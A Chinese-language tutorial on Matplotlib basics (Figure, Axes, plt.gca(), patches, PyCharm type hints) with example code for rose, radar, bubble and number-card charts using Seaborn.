Matplotlib plt.gca() 参数基本要素在开始画图之前我们先看一下matplotlib画图的基本要素，我们结合官方给出的两张图来看我们对上面两张图分别解释 Matplotlib 中的一些概念Figure: 可以理解为画布，在画图之前首先必须先创建一个画布，然后再在这个画布上画图，在一个画布上可以画多个图Axes: 可以理解为画布上的一个图，通过 subplot 在画布上可以画多个图，一个图对应一个 AxesAxis: 坐标轴title: 该图对应的标题xy label: 水平轴和垂直轴代表的意义Grid: 右图中的虚线网格，可显示也可不显示Legend: 图例，标识不同图形Markers: 表示点的形状如果你去翻过 Matplotlib 的一些函数源文件 你就可以发现 (这里以plt.title()为例):image-20240415143841026使用plt的函数都是返回给gca().什么什么的plt.gca()是用来获取当前坐标轴对象的 是"Get Current Axes"的缩, Axes是图形对象（Figure）中的一个重要组成部分，用于绘制和管理图形的各个元素，如曲线、散点图、文本、坐标轴等。gca()函数都可以指定Axes对象进行设置 不指定就是当前子图可以使用plt.subplots函数来创建Figure和Axes, 并将其对应对象返回, 它是绘图的最顶层容器。可以使用该对象进行图形的设置和操作，例如设置图形的大小、标题等image-20240415151128321Axes.patches这是一个不是很好讲的东西 image-20240415153608497Axes.patches 可以返回这个坐标轴中的图形的图形 这里画的是柱状图有四个柱子所以他返回了 Rectangle 就是矩形image-20240415153724870image-20240415153923801获取到的数据有很多的位置 高宽 可以get出来用来画图Axes.add_patch(plt.Rectangle()) 可以自定义添加矩形image-20240415163922504aplines可以对图上的轴线进行设置image-20240416155258209代码提示问题当你在使用PyCharm时代码提示不工作的时候,PyCharm 无法自动判断函数返回值的类型 , 可以这样做image-20240417084756043可以看到axes设置没有代码提示这让人很想杀人解决方法就是给ax加上类型注解 (需要注意的是如果函数返回的是元组,不能设置类型注解 会提示 变量注解不能与元组解包相结合)image-20240417090003770image-20240417085452320代码提示就成功的有了 非常方便
Matplotlib Seaborn 一些图的画法玫瑰图(roseChart)import numpy as np import matplotlib.pyplot as plt import seaborn as sns sns.set_theme(font="SimHei", style='whitegrid') data = np.random.rand(12) * 100 theta = np.linspace(0.0, 2 * np.pi, 12, endpoint=False) sorted_data = np.sort(data) plt.figure(figsize=(8, 6)) ax = plt.subplot(111, polar=True) plt.bar(theta, sorted_data, linewidth=0, color=sns.color_palette('viridis', len(sorted_data))) ax.set_xticks(theta) ax.set_xticklabels(['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']) ax.set_yticks([]) for i in ax.patches: ax.annotate(f"{i.get_height():.1f}", (i.get_x() + i.get_width() / 2, i.get_height()), va='bottom', ha='center') plt.show()theta 表示极坐标中的角度信息, 因为总共十二月份所以0到360平均分成12份, 在下面需要将data排序是因为玫瑰图是按照顺序一瓣一瓣的使用 plt.subplot(polar=True) 来开启极坐标图 画出极坐标 下面画的图就都是在极坐标上画了ax.annotate(): 这是 Matplotlib 中用于在图上添加注释的函数。(i.get_x() + i.get_width() / 2, i.get_height()): 这是注释的位置。i.get_x() + i.get_width() / 2 表示每个条形图的中心位置的 x 坐标，i.get_height() 表示每个条形图的高度值，这个位置是注释的起始位置雷达图(radarChart)import numpy as np import matplotlib.pyplot as plt import seaborn as sns name = ['语文', '英语', '数学', '科学', '社会'] values = [59, 62, 83, 65, 100] angles = np.linspace(0, 2 * np.pi, len(name), endpoint=False).tolist() # 闭合图形 values.append(values[0]) angles.append(angles[0]) sns.set_theme(font="SimHei") plt.figure(figsize=(6,4)) ax = plt.subplot(111, polar=True) plt.plot(angles, values, color='skyblue', linewidth=2, marker='o') plt.fill(angles, values, color='skyblue', alpha=0.2) for angle, value in zip(angles[:-1], values[:-1]): plt.text(angle, value, value, va='bottom', fontsize=10) ax.set_xticks(angles[:-1]) ax.set_xticklabels(name) ax.set_yticklabels([]) plt.show()image-20240409153302588气泡图(咕噜咕噜Chart)import seaborn as sns import matplotlib.pyplot as plt import pandas as pd import numpy as np np.random.seed(42) n_patients = 30 age = np.random.randint(18, 70, n_patients) bmi = np.random.uniform(18.5, 30.0, n_patients) data = pd.DataFrame({'Age': age, 'BMI': bmi}) plt.figure(figsize=(10,6 )) sns.scatterplot(data=data, x='Age', y='BMI', size='BMI', sizes=(100,1000), hue='Age', alpha=0.7) plt.show()image-20240409153820200数字卡片(Number Card)import matplotlib.pyplot as plt import seaborn as sns # 定义要绘制的文本 text = "1625235" # 创建一个新的图像 sns.set_theme(font="SimHei") ax = plt.figure(figsize=(10, 2)) plt.axis('off') # 绘制边框 plt.gca().add_patch(plt.Rectangle((0.2, 0.2), 0.6, 0.7, fill=True, color='skyblue')) # 将文本绘制到图像上 ax.text(0.5, 0.5, text, color='black', fontsize=50, ha='center', va='center') # 设置标题 plt.title("数字卡片", fontsize=20, color='darkblue') # 显示图像 plt.show()plt.gca().add_patch() 用来在画布上添加图表 plt.Rectangle()函数可以在画布上添加矩形 参数:xy: (float, float) 矩形左下角坐标 (0.2, 0.2)width: float矩形的宽度height: float矩形的高度fill: bool 是否填充矩形image-20240410082604773